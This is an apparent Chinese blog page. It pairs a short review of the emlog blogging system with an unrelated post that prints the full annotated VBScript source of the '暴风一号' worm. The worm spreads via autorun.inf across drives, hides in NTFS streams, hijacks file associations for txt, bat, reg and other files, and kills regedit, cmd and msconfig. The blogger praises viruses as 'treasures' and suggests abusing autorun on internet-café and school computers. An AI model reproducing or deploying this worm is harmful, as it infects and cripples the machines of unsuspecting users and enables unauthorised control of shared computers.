第一、足够小巧简单。emlog几百k的数据让我们眼前一亮,相比dede动辄6、7MB大小来说,它显得非常小巧。即使zblog也足足比它大了好几倍,页面复杂了好几倍,这让很多喜欢简单的站长来说,非常受益。
第二、足够灵活快速。即使不会写php的站长,使用emlog也非常灵活快速。它右侧侧边栏可以随意自定义,并且位置也能自定义设置,比如一些日历插件、留言插件等等。
第三、免费模板多。官方提供了足够多的优秀模板,和wp一样,不论是从使用功能方面,还是外观方面,都有足够多喜欢emlog的用户来开发模板,这保证了基本能找到自己所需要的。
但同时,emlog也有自身的一些缺点:
第一、首当其中的就是不能html静态化。虽然emlog支持伪静态,但是很多时候还是需要静态化的,比如SEO方面的考虑,比如页面美观度方面的考虑,静态化基本已经是一个系统的标配功能了,搜索引擎也对静态化页面给予更好的对待,因此,希望以后能得到改善。
第二、head的元标记并不合理:元标记包含了标题、描述、tag标签和关键词标签。首先是标题,emlog默认的是每篇日志后边都会自动带上网站标题,但一般实际情况中,网站的标题考虑到SEO,所以会写的很长并且夹带关键词,这样导致每篇日志标题存在一定重复度;其次,博客的每个页面都是调用同一头部,如果标题和描述写的过长,就会直接影响每个页面。
第三、自定义页面不够完善:emlog自定义页面严格意义上来说就是一个单页,但这个单页并不等同于分类,单页并不支持写日志,因此这个单页并不太理想,基本属于鸡肋功能。但是创建单页之后,单页却会在导航中出现,导航中本来应该属于分类的,现在EMLOG这点也需要该井。
第四:emlog存在草稿箱的文章,在发布的时候不能自动获取当前时间,显示的你写草稿的时候的时间,很是无语。每次都得修改时间。
今天就总结三个优点和四个缺点吧。这些如果您认为不重要,那我只能说您SEO的站内优化功能需要好好提升一下,以上这几点,就是做站过程中优化需要格外注意的,毕竟,站内优化属于基本功,只有基本功扎实了,网站才能一帆风顺的发展。
从暴风一号病毒源码里面找到的宝贝 技术文章
今天和朋友聊天中,聊到HTA,说让我学习一下,我就去百度搜素了一下,就在搜索结果中发现了暴风一号病毒,由于对病毒感兴趣,就点击进去了,看了它的介绍和威力,就估摸着下载一份源码来看看,于是Download......以下是我在源码中发现的好东西:
1.病毒会删除HKCR\lnkfile\IsShortcut键值,使快捷方式的图标上叠加的小箭头消失。
博主亲测效果图:
看起来爽很多是不是!你也可以,删除上图中→_→右边黄色的IsShortcut项 。重启电脑即可看到效果。^_^
2.修改inf,bat,cmd,reg,chm,hlp,txt文件关联:
If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/cmdfile/shell/open/command/")<>File_Value Then Call SetCmdFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/regfile/shell/open/command/")<>File_Value Then Call SetRegFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/chm.file/shell/open/command/")<>File_Value Then Call SetchmFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/hlpfile/shell/open/command/")<>File_Value Then Call SethlpFileAss(VirusAssPath) End If
至于这个嘛,我们可以用来修复文件关联错误。比如有时候我们打开EXE或者是上面的inf,bat,cmd,reg,chm,hlp,txt ,
当然你也可以用来关联你想关联的。嘿嘿 自由发挥!
3.开启所有磁盘的自动运行特性:
Sub RegSet() On Error Resume Next Dim RegPath1 , RegPath2, RegPath3, RegPath4 RegPath1="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Folder/Hidden/NOHIDDEN/CheckedValue" RegPath2="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Folder/Hidden/SHOWALL/CheckedValue" RegPath3="HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDriveTypeAutoRun" RegPath4="HKEY_CLASSES_ROOT/lnkfile/IsShortcut" Call WriteReg (RegPath1, 3, "REG_DWORD") Call WriteReg (RegPath2, 2, "REG_DWORD") Call WriteReg (RegPath3, 0, "REG_DWORD") Call DeleteReg (RegPath4) End Sub
这个我们可以利用啊!特别是对于网吧,学校这种公共场所的电脑,让它自动运行你的软甲你。O(∩_∩)O哈哈~
算了不说了,估计很多看客就知道第一种 修改桌面图图标上的小鼠标吧!
下面贴出真个病毒的源代码加注释:需要的自行研究,病毒都是宝贝啊,都是编程中的精品!
On Error Resume Next '//屏蔽出错信息,发生错误时继续向下执行 Dim Fso,WshShell '//定义了两个变量 '//创建并返回对 Automation 对象的引用。 '//CreateObject(servername.typename [, location]) '//servername 必选项。提供对象的应用程序名称。 '//typename 必选项。要创建的对象类型或类。 '//location 可选项。对象所在的网络服务器将被创建。 '//说明Automation 服务器至少提供一种对象类型。例如,字处理应用程序可以提供应用程序对象、文档对象和工具条对象。 Set Fso=CreateObject("scRiPTinG.fiLEsysTeMoBjEcT") '//为变量Fso赋值 创建 Scripting.FileSystemObject 对象 提供对计算机文件系统的访问 Set WshShell=CreateObject("wScRipT.SHelL") '//为变量WshShell赋值 创建Wscript.Shell对象 用于获取系统环境变量的访问、创建快捷方式、访问Windows的特殊文件夹, '//以及添加或删除注册表条目。还可以使用Shell对象的功能创建更多的定制对话框以进行用户交互。 Call Main() '//call 将控制权传递到sub或function Sub Main() '//sub、function 两种表示方法 sub没有返回值,function有返回值 On Error Resume Next Dim Args, VirusLoad, VirusAss Set Args=WScript.Arguments '//返回wsh对象的参数集 VirusLoad=GetMainVirus(1) '//获得System文件夹下smss.exe 蠕虫地址 VirusAss=GetMainVirus(0) '//获得Windows文件夹下explorer.exe 蠕虫地址 ArgNum=0 Do While ArgNum < Args.Count Param=Param&" "&Args(ArgNum) ArgNum=ArgNum + 1 Loop SubParam=LCase(Right(Param, 3)) '//LCase 返回字符串的小写形式 Right 从字符串右边返回指定数目的字符 Select Case SubParam '//select类似switch Case "run" '//当运行run时,同时启动病毒文件 RunPath=Left(WScript.ScriptFullName, 2) '//ScriptFullName属性返回当前正在运行的脚本的完整路径。该属性返回一个只读的字符串。 Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "txt", "log","ini" ,"inf" '//运行"txt", "log", "ini", "inf"后缀名文件时,同时启动病毒文件 RunPath="%SystemRoot%/system32/NOTEPAD.EXE "&Param Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "bat", "cmd" '//运行"bat", "cmd"批处理或命令提示符时,同时启动病毒文件 RunPath="CMD /c echo Hi!I'm here!&pause" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "reg" '//运行"reg"注册表导入程序时,同时启动病毒文件 RunPath="regedit.exe "&""""&Trim(Param)&"""" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "chm" '//运行"chm"帮助文件时,同时启动病毒文件 RunPath="hh.exe "&""""&Trim(Param)&"""" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "hlp" '//运行"hlp"帮助文件时,同时启动病毒文件 RunPath="winhlp32.exe "&""""&Trim(Param)&"""" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "dir" '//运行dir命令,同时启动病毒文件 RunPath=""""&Left(Trim(Param),Len(Trim(Param))-3)&"""" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "oie" '//打开我IE图标,同时启动病毒文件 RunPath="""%ProgramFiles%/Internet Explorer/IEXPLORE.EXE""" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "omc" '//打开我的电脑图标,同时启动病毒文件 RunPath="explorer.exe /n,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "emc" '//劫持Win+E RunPath="explorer.exe /n,/e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case Else If PreDblInstance=True Then '//如果条件满足,退出脚本宿主 WScript.Quit End If Timeout = Datediff("ww", GetInfectedDate, Date) - 12 If Timeout>0 And Month(Date) = Day(Date) Then Call VirusAlert() Call MakeJoke(CInt(Month(Date))) End If Call MonitorSystem() End Select End Sub '//监视系统 结束taskmgr.exe、regedit.exe、msconfig.exe、cmd.exe Sub MonitorSystem() On Error Resume Next Dim ProcessNames, ExeFullNames ProcessNames=Array("cmd.exe","cmd.com","regedit.exe","regedit.scr","regedit.pif","regedit.com","msconfig.exe") VBSFullNames=Array(GetMainVirus(1)) '//变量赋值 Do Call KillProcess(ProcessNames) '//如发现变量中的进程,调用结束进程函数 Call InvadeSystem(GetMainVirus(1),GetMainVirus(0)) '// smss.exe 蠕虫地址 explorer.exe 蠕虫地址 Call KeepProcess(VBSFullNames) '//保持病毒进程 WScript.Sleep 3000 '//脚本宿主等待时间为3000毫秒=3秒 Loop End Sub '//侵入系统 Sub InvadeSystem(VirusLoadPath,VirusAssPath) On Error Resume Next Dim Load_Value, File_Value, IE_Value, MyCpt_Value1, MyCpt_Value2, HCULoad, HCUVer, VirusCode, Version Load_Value=""""&VirusLoadPath&"""" '//smss.exe的病毒流 File_Value="%SystemRoot%/System32/WScript.exe "&""""&VirusAssPath&""""&" %1 %* " '// explorer.exe 蠕虫 IE_Value="%SystemRoot%/System32/WScript.exe "&""""&VirusAssPath&""""&" OIE " '// 打开ie 蠕虫 MyCpt_Value1="%SystemRoot%/System32/WScript.exe "&""""&VirusAssPath&""""&" OMC " '//打开我的电脑 蠕虫 MyCpt_Value2="%SystemRoot%/System32/WScript.exe "&""""&VirusAssPath&""""&" EMC " '//劫持Win+E 蠕虫 HCULoad="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Load" HCUVer="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Ver" HCUDate="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Date" VirusCode=GetCode(WScript.ScriptFullName) Version=1 HostSourcePath=Fso.GetSpecialFolder(1)&"/Wscript.exe" HostFilePath=Fso.GetSpecialFolder(0)&"/system/svchost.exe" For Each Drive In Fso.Drives '//分别建立各个目录的病毒名字 If Drive.IsReady and (Drive.DriveType=1 Or Drive.DriveType=2 Or Drive.DriveType=3) Then DiskVirusName=GetSerialNumber(Drive.DriveLetter)&".vbs" Call CreateAutoRun(Drive.DriveLetter,DiskVirusName) '//创建自动运行 Call InfectRoot(Drive.DriveLetter,DiskVirusName) '//感染 End If Next If FSO.FileExists(VirusAssPath)=False Or FSO.FileExists(VirusLoadPath)=False Or FSO.FileExists(HostFilePath)=False Or GetVersion()< Version Then If GetFileSystemType(GetSystemDrive())="NTFS" Then '//判断是否为NTFS分区 Call CreateFile(VirusCode,VirusAssPath) Call CreateFile(VirusCode,VirusLoadPath) '//这一步创建了流文件 Call CopyFile(HostSourcePath,HostFilePath) '//这一步将wscript.exe从system32复制到system目录并改名svchost.exe Call SetHiddenAttr(HostFilePath) Else '//FAT32格式 Call CreateFile(VirusCode, VirusAssPath) Call SetHiddenAttr(VirusAssPath) Call CreateFile(VirusCode,VirusLoadPath) Call SetHiddenAttr(VirusLoadPath) Call CopyFile(HostSourcePath, HostFilePath) Call SetHiddenAttr(HostFilePath) End If End If If ReadReg(HCULoad)<>Load_Value Then '//改写注册表启动项,smss.exe的流 Call WriteReg (HCULoad, Load_Value, "") End If If GetVersion() < Version Then '//改写版本信息为1 Call WriteReg (HCUVer, Version, "") End If If GetInfectedDate() = "" Then Call WriteReg (HCUDate, Date, "") '//记录感染时间 End If '//以下更改许多文件关联,病毒的通用感染方式 If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/txtfile/shell/open/command/")<>File_Value Then Call SetTxtFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/inifile/shell/open/command/")<>File_Value Then Call SetIniFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/inffile/shell/open/command/")<>File_Value Then Call SetInfFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/batfile/shell/open/command/")<>File_Value Then Call SetBatFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/cmdfile/shell/open/command/")<>File_Value Then Call SetCmdFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/regfile/shell/open/command/")<>File_Value Then Call SetRegFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/chm.file/shell/open/command/")<>File_Value Then Call SetchmFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/hlpfile/shell/open/command/")<>File_Value Then Call SethlpFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Applications/iexplore.exe/shell/open/command/")<>IE_Value Then Call SetIEAss(VirusAssPath) End If If ReadReg("HKEY_CLASSES_ROOT/CLSID/{871C5380-42A0-1069-A2EA-08002B30309D}/shell/OpenHomePage/Command/")<>IE_Value Then Call SetIEAss(VirusAssPath) End If If ReadReg("HKEY_CLASSES_ROOT/CLSID/{20D04FE0-3AEA-1069-A2D8-08002B30309D}/shell/open/command/")<>MyCpt_Value1 Then Call SetMyComputerAss(VirusAssPath) End If If ReadReg("HKEY_CLASSES_ROOT/CLSID/{20D04FE0-3AEA-1069-A2D8-08002B30309D}/shell/explore/command/")<>MyCpt_Value2 Then Call SetMyComputerAss(VirusAssPath) End If Call RegSet() End Sub '//拷贝文件 Sub CopyFile(source, pathf) On Error Resume Next If FSO.FileExists(pathf) Then FSO.DeleteFile pathf , True End If FSO.CopyFile source, pathf End Sub '//创建文件 Sub CreateFile(code, pathf) On Error Resume Next Dim FileText If FSO.FileExists(pathf) Then Set FileText=FSO.OpenTextFile(pathf, 2, False) FileText.Write code FileText.Close Else Set FileText=FSO.OpenTextFile(pathf, 2, True) FileText.Write code FileText.Close End If End Sub '//注册表设置 Sub RegSet() On Error Resume Next Dim RegPath1 , RegPath2, RegPath3, RegPath4 RegPath1="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Folder/Hidden/NOHIDDEN/CheckedValue" RegPath2="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Folder/Hidden/SHOWALL/CheckedValue" RegPath3="HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDriveTypeAutoRun" RegPath4="HKEY_CLASSES_ROOT/lnkfile/IsShortcut" Call WriteReg (RegPath1, 3, "REG_DWORD") Call WriteReg (RegPath2, 2, "REG_DWORD") Call WriteReg (RegPath3, 0, "REG_DWORD") Call DeleteReg (RegPath4) End Sub '//结束进程 Sub KillProcess(ProcessNames) On Error Resume Next Set WMIService=GetObject("winmgmts://./root/cimv2") For Each ProcessName in ProcessNames Set ProcessList=WMIService.execquery(" Select * From win32_process where name ='"&ProcessName&"' ") For Each Process in ProcessList IntReturn=Process.terminate If intReturn<>0 Then WshShell.Run "CMD /c ntsd -c q -p "&Process.Handle, vbHide, False End If Next Next End Sub '//删掉autorun.inf免疫目录 Sub KillImmunity(D) On Error Resume Next ImmunityFolder=D&":/Autorun.inf" If Fso.FolderExists(ImmunityFolder) Then WshSHell.Run ("CMD /C CACLS "& """"&ImmunityFolder&"""" &" /t /e /c /g everyone:f"),vbHide,True '//提权 WshSHell.Run ("CMD /C RD /S /Q "& ImmunityFolder), vbHide, True '//rd命令删除,配合 /s /q 选项,很轻松 End If End Sub '//保护病毒进程 保持脚本进程持续运行,少于2个创建新进程 Sub KeepProcess(VBSFullNames) On Error Resume Next For Each VBSFullName in VBSFullNames If VBSProcessCount(VBSFullName) < 2 then Run("%SystemRoot%/system/svchost.exe "&VBSFullName) End If Next End Sub '//获得系统分区 c: '//FileSystemObject.GetSpecialFolder 返回指定特殊文件夹 '//WindowsFolder 0 Windows 文件夹,包含 Windows 操作系统安装的文件。 '//SystemFolder 1 System 文件夹,包含库、字体和设备驱动程序文件。 '//TemporaryFolder 2 Temp 文件夹,用于保存临时文件。可以在 TMP 环境变量中找到该文件夹的路径。 '//Left 返回指定数目的从字符串的左边算起的字符。 Function GetSystemDrive() GetSystemDrive=Left(Fso.GetSpecialFolder(0),2) End Function '//FileSystemObject.GetDrive返回与指定的路径中驱动器相对应的 Drive 对象。Drive 提供对磁盘驱动器或网络共享的属性的访问。 '//Drive.FileSystem返回指定的驱动器使用的文件系统的类型。 Function GetFileSystemType(Drive) Set d=FSO.GetDrive(Drive) GetFileSystemType=d.FileSystem End Function '//读取注册表建值 返回所在路径 Function ReadReg(strkey) Dim tmps Set tmps=CreateObject("WScript.Shell") ReadReg=tmps.RegRead(strkey) Set tmps=Nothing End Function '//重写注册表键值 Sub WriteReg(strkey, Value, vtype) Dim tmps Set tmps=CreateObject("WScript.Shell") If vtype="" Then tmps.RegWrite strkey, Value Else tmps.RegWrite strkey, Value, vtype End If Set tmps=Nothing End Sub '//删除注册表键值 Sub DeleteReg(strkey) Dim tmps Set tmps=CreateObject("WScript.Shell") tmps.RegDelete strkey Set tmps=Nothing End Sub '//设置隐藏属性 Sub SetHiddenAttr(path) On Error Resume Next Dim vf Set vf=FSO.GetFile(path) Set vf=FSO.GetFolder(path) vf.Attributes=6 '// 6=2+4 分别是隐藏、系统属性 End Sub '//执行ExeFullName指定的文件 Sub Run(ExeFullName) On Error Resume Next Dim WshShell Set WshShell=WScript.CreateObject("WScript.Shell") WshShell.Run ExeFullName Set WshShell=Nothing End Sub '//感染根目录 Sub InfectRoot(D,VirusName) On Error Resume Next Dim VBSCode VBSCode=GetCode(WScript.ScriptFullName) VBSPath=D&":/"&VirusName If FSO.FileExists(VBSPath)=False Then Call CreateFile(VBSCode, VBSPath) Call SetHiddenAttr(VBSPath) End If Set Folder=Fso.GetFolder(D&":/") '//隐藏根目录下的所有子目录 Set SubFolders=Folder.Subfolders For Each SubFolder In SubFolders SetHiddenAttr(SubFolder.Path) LnkPath=D&":/"&SubFolder.Name&".lnk" '//创建对应的快捷方式 TargetPath=D&":/"&VirusName Args=""""&D&":/"&SubFolder.Name& "/Dir""" If Fso.FileExists(LnkPath)=False Or GetTargetPath(LnkPath) <> TargetPath Then If Fso.FileExists(LnkPath)=True Then FSO.DeleteFile LnkPath, True End If Call CreateShortcut(LnkPath,TargetPath,Args) End If Next End Sub '//上一步失败了调用这个函数创建快捷方式 Sub CreateShortcut(LnkPath,TargetPath,Args) Set Shortcut=WshShell.CreateShortcut(LnkPath) with Shortcut .TargetPath=TargetPath .Arguments=Args .WindowStyle=4 .IconLocation="%SystemRoot%/System32/Shell32.dll, 3" .Save end with End Sub '//创建autorun.inf文件 Sub CreateAutoRun(D,VirusName) On Error Resume Next Dim InfPath, VBSPath, VBSCode InfPath=D&":/AutoRun.inf" VBSPath=D&":/"&VirusName VBSCode=GetCode(WScript.ScriptFullName) If FSO.FileExists(InfPath)=False Or FSO.FileExists(VBSPath)=False Then Call CreateFile(VBSCode, VBSPath) Call SetHiddenAttr(VBSPath) StrInf="[AutoRun]"&VBCRLF&"Shellexecute=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell/open=打开(&O)"&VBCRLF&"shell/open/command=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell/open/Default=1"& VBCRLF&"shell/explore=资源管理器(&X)"&VBCRLF&"shell/explore/command=WScript.exe "&VirusName&" ""AutoRun""" Call KillImmunity(D) Call CreateFile(StrInf, InfPath) Call SetHiddenAttr(InfPath) End If End Sub '//改变txt格式文件关联 Sub SetTxtFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/txtfile/shell/open/command/", Value, "REG_EXPAND_SZ") End Sub '//改变ini格式文件关联 Sub SetIniFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/inifile/shell/open/command/", Value, "REG_EXPAND_SZ") End Sub '//改变inf格式文件关联 Sub SetInfFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/inffile/shell/open/command/", Value, "REG_EXPAND_SZ") End Sub '//改变bat格式文件关联 Sub SetBatFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/batfile/shell/open/command/", Value, "REG_EXPAND_SZ") End Sub '//改变cmd格式文件关联 Sub SetCmdFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/cmdfile/shell/open/command/", Value, "REG_EXPAND_SZ") End Sub '//改变hlp格式文件关联 Sub SethlpFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/hlpfile/shell/open/command/", Value, "REG_EXPAND_SZ") End Sub '//改变reg格式文件关联 Sub SetRegFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/regfile/shell/open/command/", Value, "REG_EXPAND_SZ") End Sub '//改变chm格式文件关联 Sub SetchmFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/chm.file/shell/open/command/", Value, "REG_EXPAND_SZ") End Sub '//篡改IE启动设置 Sub SetIEAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" OIE " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Applications/iexplore.exe/shell/open/command/", Value, "REG_EXPAND_SZ") Call WriteReg("HKEY_CLASSES_ROOT/CLSID/{871C5380-42A0-1069-A2EA-08002B30309D}/shell/OpenHomePage/Command/", Value, "REG_EXPAND_SZ") End Sub '//改变我的电脑的打开关联,包括Win+E Sub SetMyComputerAss(sFilePath) On Error Resume Next Dim Value1,Value2 Value1="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" OMC " Value2="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" EMC " Call WriteReg("HKEY_CLASSES_ROOT/CLSID/{20D04FE0-3AEA-1069-A2D8-08002B30309D}/shell/", "", "REG_SZ") Call WriteReg("HKEY_CLASSES_ROOT/CLSID/{20D04FE0-3AEA-1069-A2D8-08002B30309D}/shell/open/command/", Value1, "REG_EXPAND_SZ") Call WriteReg("HKEY_CLASSES_ROOT/CLSID/{20D04FE0-3AEA-1069-A2D8-08002B30309D}/shell/explore/command/", Value2, "REG_EXPAND_SZ") End Sub '//获得系统驱动盘符名 Drive.SerialNumber 盘符序列号 c-->驱动器 C: - 固定<BR>序列号:-1598325125、d-->驱动器 D: - 固定<BR>序列号:237835280、e、f。 Function GetSerialNumber(Drv) On Error Resume Next Set d=fso.GetDrive(Drv) GetSerialNumber=d.SerialNumber '// 返回十进制序列号,用于唯一标识一个磁盘卷。Select Case d.DriveType Case 0: t = "未知" Case 1: t = "可移动" Case 2: t = "固定" '// Case 3: t = "网络" Case 4: t = "CD-ROM" Case 5: t = "RAM 磁盘" End Select GetSerialNumber=Replace(GetSerialNumber,"-","") End Function '//获得蠕虫病毒路径 &表示字符串相加 GetSpecialFolder 返回指定的特殊文件夹 Function GetMainVirus(N) On Error Resume Next MainVirusName=GetSerialNumber(GetSystemDrive())&".vbs" If GetFileSystemType(GetSystemDrive())="NTFS" Then If N=1 Then '//System 文件夹,包含库、字体和设备驱动程序文件。 SystemFolder GetMainVirus=Fso.GetSpecialFolder(N)&"/smss.exe:"&MainVirusName '//返回 如c:/windows/system32/smss.exe:72161642.vbs End If If N=0 Then '//Windows 文件夹,包含 Windows 操作系统安装的文件。 WindowsFolder GetMainVirus=Fso.GetSpecialFolder(N)&"/explorer.exe:"&MainVirusName '//返回 如c:/windows/explorer.exe:72161642.vbs End If Else GetMainVirus=Fso.GetSpecialFolder(N)&"/"&MainVirusName End If End Function '//返回指定路径vbs脚本的运行个数 Function VBSProcessCount(VBSPath) On Error Resume Next Dim WMIService, ProcessList, Process VBSProcessCount=0 Set WMIService=GetObject("winmgmts://./root/cimv2") Set ProcessList=WMIService.ExecQuery("Select * from Win32_Process Where "&"Name='cscript.exe' or Name='wscript.exe' or Name='svchost.exe'") For Each Process in ProcessList If InStr(Process.CommandLine, VBSPath)>0 Then VBSProcessCount=VBSProcessCount+1 End If Next End Function '//'用来计数wscript进程的个数,如果大于等于3个那么返回True Function PreDblInstance() On Error Resume Next PreDblInstance=False If VBSProcessCount(WScript.ScriptFullName)>= 3 Then PreDblInstance=True End If End Function '//获取快捷方式的vbs脚本地址 Function GetTargetPath(LnkPath) On Error Resume Next Dim Shortcut Set Shortcut=WshShell.CreateShortcut(LnkPath) GetTargetPath=Shortcut.TargetPath End Function '//读取文件 返回 TextStream Function GetCode(FullPath) On Error Resume Next Dim FileText Set FileText=FSO.OpenTextFile(FullPath, 1) '//打开指定的文件并返回一个 TextStream 对象,可以读取、写入此对象或将其追加到文件。 '// 1 以只读模式打开文件。不能对此文件进行写操作。 GetCode=FileText.ReadAll '//读入全部 TextStream 文件并返回结果字符串 FileText.Close End Function '//获得注册表 版本键值 获取windows版本 Function GetVersion() Dim VerInfo VerInfo="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Ver" If ReadReg(VerInfo)="" Then GetVersion=0 Else GetVersion=CInt(ReadReg(VerInfo)) '//CInt 返回表达式,此表达式已被转换为 Integer 子类型的 Variant。 End If End Function '//网页文件BFAlert.hta Sub VirusAlert() On Error Resume Next Dim HtaPath,HtaCode HtaPath=Fso.GetSpecialFolder(1)&"/BFAlert.hta" HtaCode="<HTML><HEAD><TITLE>暴风一号</TITLE>"&VBCRLF&"<HTA:APPLICATION APPLICATIONNAME=""BoyFine V1.0"" SCROLL=""no"" windowstate=""maximize"" border=""none"""&VBCRLF&"SINGLEINSTANCE=""yes"" CAPTION=""no"" contextMenu=""no"" ShowInTaskBar=""no"" selection=""no"">"&VBCRLF&"</HEAD><BODY bgcolor=#000000><DIV align =""center"">"&VBCRLF&"<font style=""font-size:3500%;font-family:Wingdings;color=red"">N</font><BR>"&VBCRLF&"<font style=""font-size:200%;font-family:黑体;color=red"">暴风一号 </font>"&VBCRLF&"</DIV></BODY></HTML>" If FSO.FileExists(HtaPath)=False Then Call CreateFile(HtaCode, HtaPath) '//创建网页文件BFAlert.hta Call SetHiddenAttr(HtaPath) '//设置隐藏 End If Call Run(HtaPath) End Sub '//获得感染注册表时间键 Function GetInfectedDate() On Error Resume Next Dim DateInfo DateInfo="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Date" If ReadReg(DateInfo)="" Then GetInfectedDate="" Else GetInfectedDate=CDate(ReadReg(DateInfo)) End If End Function '//弹出光驱 Sub MakeJoke(Times) On Error Resume Next Dim WMP, colCDROMs Set WMP = CreateObject( "WMPlayer.OCX" ) '//创建WMPlayer.OCX插件对象 Set colCDROMs = WMP.cdromCollection '//系统中光驱 If colCDROMs.Count >0 Then For i=1 to Times colCDROMs.Item(0).eject() '//退出抽取式设备 WScript.Sleep 3000 colCDROMs.Item(0).eject() Next End If Set WMP = Nothing End Sub |